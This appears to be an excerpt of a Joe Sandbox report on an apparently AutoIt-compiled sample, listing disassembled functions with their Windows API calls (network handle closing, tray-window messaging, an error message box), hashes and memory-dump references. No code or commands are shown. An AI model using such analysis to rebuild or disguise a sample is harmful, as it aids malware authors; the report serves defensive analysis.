                              • Instruction ID: 953f6dd97ce98099cbba652085d0304866be84a46252058ffc4865c1a62d2123
                              • Opcode Fuzzy Hash: 0791508f4d5d4d8a4d88f52051df625728301e413c657ab928a68c4181838543
                              • Instruction Fuzzy Hash: 9DF0823274022866D7109BD9AD42FBEB3A8DB49762F00416BFE08E9180E6694854C3B9
                              Function 00442651 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22networkCOMMON
                              Download Yara Rule
                              APIs
                              • InternetCloseHandle.WININET(?), ref: 00442663
                              • InternetCloseHandle.WININET ref: 00442668
                                • Part of subcall function 004319AC: WaitForSingleObject.KERNEL32(aeB,?,?,00442688,aeB,00002710,?,?,00426561,?,?,0040F19D), ref: 004319BD
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CloseHandleInternet$ObjectSingleWait
                              • String ID: aeB
                              • API String ID: 857135153-906807131
                              • Opcode ID: c8224cb77d174d98af0e1b6511dcd9cd22ae279780c4dc09588970c0e039578a
                              • Instruction ID: 0fa74210230a71b56b5a48e3a0e63043fcf8dca502afcbd281d0c2380f7acdeb
                              • Opcode Fuzzy Hash: c8224cb77d174d98af0e1b6511dcd9cd22ae279780c4dc09588970c0e039578a
                              • Instruction Fuzzy Hash: 46E0E67650071467D310AF9ADC00B4BF7DC9F95724F11482FEA4497650C6B5B4408BA4
                              Function 00441BE8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                              Download Yara Rule
                              APIs
                              • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00441BFE
                              • PostMessageW.USER32(00000000), ref: 00441C05
                                • Part of subcall function 004331A2: Sleep.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331B9
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: FindMessagePostSleepWindow
                              • String ID: Shell_TrayWnd
                              • API String ID: 529655941-2988720461
                              • Opcode ID: 45e518b183cc50fc9cae19d0f51122c68363ee0c98c893ad2541c3bd761d7025
                              • Instruction ID: aba4e04af0122a293c2d26b46e7c49f9db856b5fc79b6d6ac13cebee95b63d36
                              • Opcode Fuzzy Hash: 45e518b183cc50fc9cae19d0f51122c68363ee0c98c893ad2541c3bd761d7025
                              • Instruction Fuzzy Hash: EFD0A772BC13013BFA6077745D0FF8B66145B14711F000C3A7B42E61C1D4F8E4018758
                              Function 00441C20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                              Download Yara Rule
                              APIs
                              • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00441C2A
                              • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00441C3D
                                • Part of subcall function 004331A2: Sleep.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331B9
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: FindMessagePostSleepWindow
                              • String ID: Shell_TrayWnd
                              • API String ID: 529655941-2988720461
                              • Opcode ID: 2c92ce268d6dea70ed1d9c93ac972332f86dd545b3a9023bb22b3be85c6f7e29
                              • Instruction ID: e91d5bd0f3095d95abf168919443ed1e5ef8457e9bc9ee6dadeb2d3358a759b2
                              • Opcode Fuzzy Hash: 2c92ce268d6dea70ed1d9c93ac972332f86dd545b3a9023bb22b3be85c6f7e29
                              • Instruction Fuzzy Hash: 61D0A772B843017BFA6077745D0FF8B66145B14711F000C3A7B46A61C1D4F8D4018758
                              Function 004370C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8windowCOMMON
                              Download Yara Rule
                              APIs
                              • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 004370D1
                                • Part of subcall function 004118DA: _doexit.LIBCMT ref: 004118E6
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Message_doexit
                              • String ID: AutoIt$Error allocating memory.
                              • API String ID: 1993061046-4017498283
                              • Opcode ID: a805162a0f5c9c87f8277766c6d2ca4cce7c6123580b1b409358537ccd51af94
                              • Instruction ID: aa36ec6b1cc278624b5c670a1a0522bf80bf1016c56dd6686bcadf549e8ac499
                              • Opcode Fuzzy Hash: a805162a0f5c9c87f8277766c6d2ca4cce7c6123580b1b409358537ccd51af94
                              • Instruction Fuzzy Hash: F1B092323C030627E50437910D0BF9D26003B64F02F220C067324280D204C90090131D